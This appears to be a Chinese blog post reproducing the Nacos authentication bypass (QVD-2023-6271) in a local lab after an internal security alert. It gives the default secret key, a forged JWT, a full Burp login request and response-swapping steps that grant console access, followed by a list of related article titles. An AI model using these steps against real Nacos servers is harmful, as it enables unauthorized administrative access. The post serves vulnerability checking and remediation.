Nacos身份绕过漏洞复现(QVD-2023-6271)

公司上级预警QVD-2023-6271,领导安排进行排查。
本着知己知彼的原则,我在本地将该漏洞复现出来。

漏洞原理:Nacos 在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。

一、环境安装

vwmare 安装 win10环境 (略)

java安装

我这里使用的是jdk-11.0.2_windows-x64_bin.exe。
下载地址:jdk下载

安装后记得配置环境变量,这里需要注意一下环境变量,因为nacos是使用的JAVA_HOME作为java的环境变量,path里面添加java的路径作为环境变量是无效的。

需要在环境变量里面新建JAVA_HOME,指定jdk的安装位置。

nacos启动

下载地址:nacos
要下载nacos版本小于2.2.0,版本高于2.2.0的话漏洞就修复了,没法复现了。
我这里使用的是2.2.0版本。

解压后,接入D:\nacos\bin(对应的解压路径)的cmd,输入启动命令

startup.cmd -m standalone


访问登录界面。

二、获取cookie

时间戳准备

我们实现先准备个时间戳,需要大于当前系统时间,我现在时间是2023年4月23日,我构造了2023年4月24日的时间。
时间戳构造网页连接:时间戳

使用nacos默认key可进行jwt构造

nacos默认key(token.secret.key值的位置在conf下的application.properties)

SecretKey012345678901234567890123456789012345678901234567890123456789

PAYLOAD:DATA

{"sub": "nacos","exp": 1682308800
}

jwt网址:json web tokens

得到了一串值。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4

burp发送数据包

通过构造数据包发送,可以在返回包获取到cookie。
其中用户名和密码都是自己构造的,实际上nacos不存在这个用户。

请求包

POST /nacos/v1/auth/users/login HTTP/1.1
Host: 192.168.30.100:8848
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.30.100:8848
Connection: close
Referer: http://192.168.30.100:8848/nacos/index.html
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY4MjMwODgwMH0.VJRpZj-TyDFbPKioQTrrWbQ-HlX_ZhkcuT_RVRniAA4username=najcos&password=nacjos

三、 burpsuite修改数据包

开启代理,打开经典的火狐浏览器

截取登录数据包

将刚才返回包得到的构造的cookie和用户密码填入到数据包里面


右击选择Do intercept–>Response to request

点击Forward,发现这里报500错

没关系,找到之前的构造cookie的返回包
复制全部内容,粘贴到里面,点击Forward!!!

关闭代理,查看浏览器。
成功绕过。

Nacos身份绕过漏洞复现(QVD-2023-6271)相关推荐

  1. Alibaba Nacos权限认证绕过漏洞复现

    文章目录 漏洞描述 影响范围 漏洞类型 环境搭建 第一步 下载 第二步 解压tai.zip文件 第三步 进入解压后的macos的bin目录 第四步 清除windows启动脚本 第五步 启动单节点模式 ...

  2. 【CNNVD-201303-018】D-Link DIR-645 Routers 认证绕过漏洞复现

    目录 0x00 漏洞概述 0x01 影响版本 0x02 漏洞评级 0x03 shodan搜索漏洞环境 0x04 漏洞验证 0x05 修复建议 0x00 漏洞概述 友讯科技股份有限公司(D-Link C ...

  3. Smartbi内置用户登陆绕过漏洞复现

    0x01 产品简介 Smartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库.数据仓库和大数据分析平台,进行加工处理.分析挖掘和可视化展现:满足所有用户的各种数据分析应用需求,如大数据分 ...

  4. Nacos 1.4.1 紧急升级修复Alibaba Nacos 认证绕过漏洞

    使用背景 Nacos是Spring Cloud Alibaba的微服务的配置和发现的组件,目前暴露出安全漏洞,主要包括如下: 根据Nacos官方在github发布的issue,Alibaba Naco ...

  5. Zyxel-NBG2105(CVE-2021-3297)身份验证绕过漏洞复现

    简介 Zyxel-NBG2105 存在身份验证绕过,可以通过更改 login参数可用实现以管理员身份进行后台登陆. zoomeye 漏洞验证 通过右键源代码查看一下源码,这里不知道为什么不能右键,就在 ...

  6. 【认证绕过】NACOS身份认证绕过漏洞分析

    前言 工作中遇到一个nacos服务认证绕过的问题,在此总结一下漏洞原因. 一.nacos简介 官方文档描述: Nacos 致力于帮助您发现.配置和管理微服务.Nacos 提供了一组简单易用的特性集,帮 ...

  7. Apache Shiro 身份认证绕过漏洞(CVE-2022-32532)漏洞复现

    Apache Shiro 身份认证绕过漏洞(CVE-2022-32532)漏洞复现 0x01 漏洞简介 Apache Shiro 是一个强大且易用的 Java 安全框架,通过它可以执行身份验证.授权. ...

  8. Apache Shiro权限绕过漏洞 (CVE-2020-11989) 挖掘分析和复现

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 简介 Apache Shiro作为Java框架,可被用于身份认证.授权等任务. 整合Apache Shi ...

  9. 身份验证绕过漏洞分析

    0x01 前言 最近Tenable 披露了Arcadyna 网络设备身份验证绕过漏洞,并且很多的厂商都采用产生漏洞的组件,由于Arcadyan 设备固件厂商并没有开源出来,在官网支持里面下载的文件是w ...

  10. CVE-2022-40684 Fortinet(飞塔)身份验证绕过漏洞

    GitHub地址: https://github.com/hughink/CVE-2022-40684 漏洞简介 Fortinet(飞塔)是一家全球知名的网络安全产品和安全解决方案提供商,其产品包括防 ...

最新文章

  1. 插入排序 php,直接插入排序,PHP实现
  2. 调度场算法与逆波兰表达式
  3. pyinstaller的使用方法 by 王大龙
  4. MyEclipse小问题与汉字处理
  5. 阿诺德图像加密c语言,基于Arnold置乱的数字图像加密算法(二)
  6. h5页面如何预览excel文件_移动端页面,如何解析预览 word/excel/PDF文件?
  7. 二叉搜索树的思想,以及增删查改的实现
  8. 【Python】【Flask】前端调用后端方法返回页面
  9. c++ primer plus 之函数及函数指针
  10. (转)美国的套利已经变成一门生意,而不是一门技术了
  11. 一阶梯度法、二阶段梯度法、牛顿法
  12. 外企计算机英语,职场英语:外企生存十大必备英语词汇
  13. 物质模拟器(游戏)1.0版本
  14. 计量经济学及stata应用思维导图_陈怡丨 例谈“思维导图”在小学英语读写课中的应用...
  15. *【思路】程序员怎么快速接手一个项目
  16. 彻底关闭win10自动更新(针对已经关闭windows update项,但系统仍自动更新的问题)
  17. 线性代数与解析几何——Part1 解析几何
  18. 10小时训练数据打造多语种语音识别新高度
  19. 采用用计算机及条形码技术的是什么,条形码技术及其应用
  20. 幸福感数据分析与预测

热门文章

  1. RHCSA/RHCE 7官方中文教材
  2. 赛博威助力味驰TPM营销费用管理项目顺利上线,实现从费用预算到投资分析全流程闭环管理
  3. elasticsearch理论、集群、分词器、head插件、常用命令
  4. 并行主存系统解决了问题_使用并行和SignalR实时解决莎士比亚百万猴子问题
  5. 是内容的问题,还是大家比较喜欢“八卦”呢?
  6. 计算机四级操作系统知识点
  7. git安装配置和TortoiseGit(小乌龟)的安装配置和idea配置git
  8. Python学习笔记——《吴恩达Machine Learning》线性回归例程
  9. Android移动开发-调用方向传感器开发简易指南针的实现
  10. matlab psd对应的频率,matlab 功率谱分析函数psd用法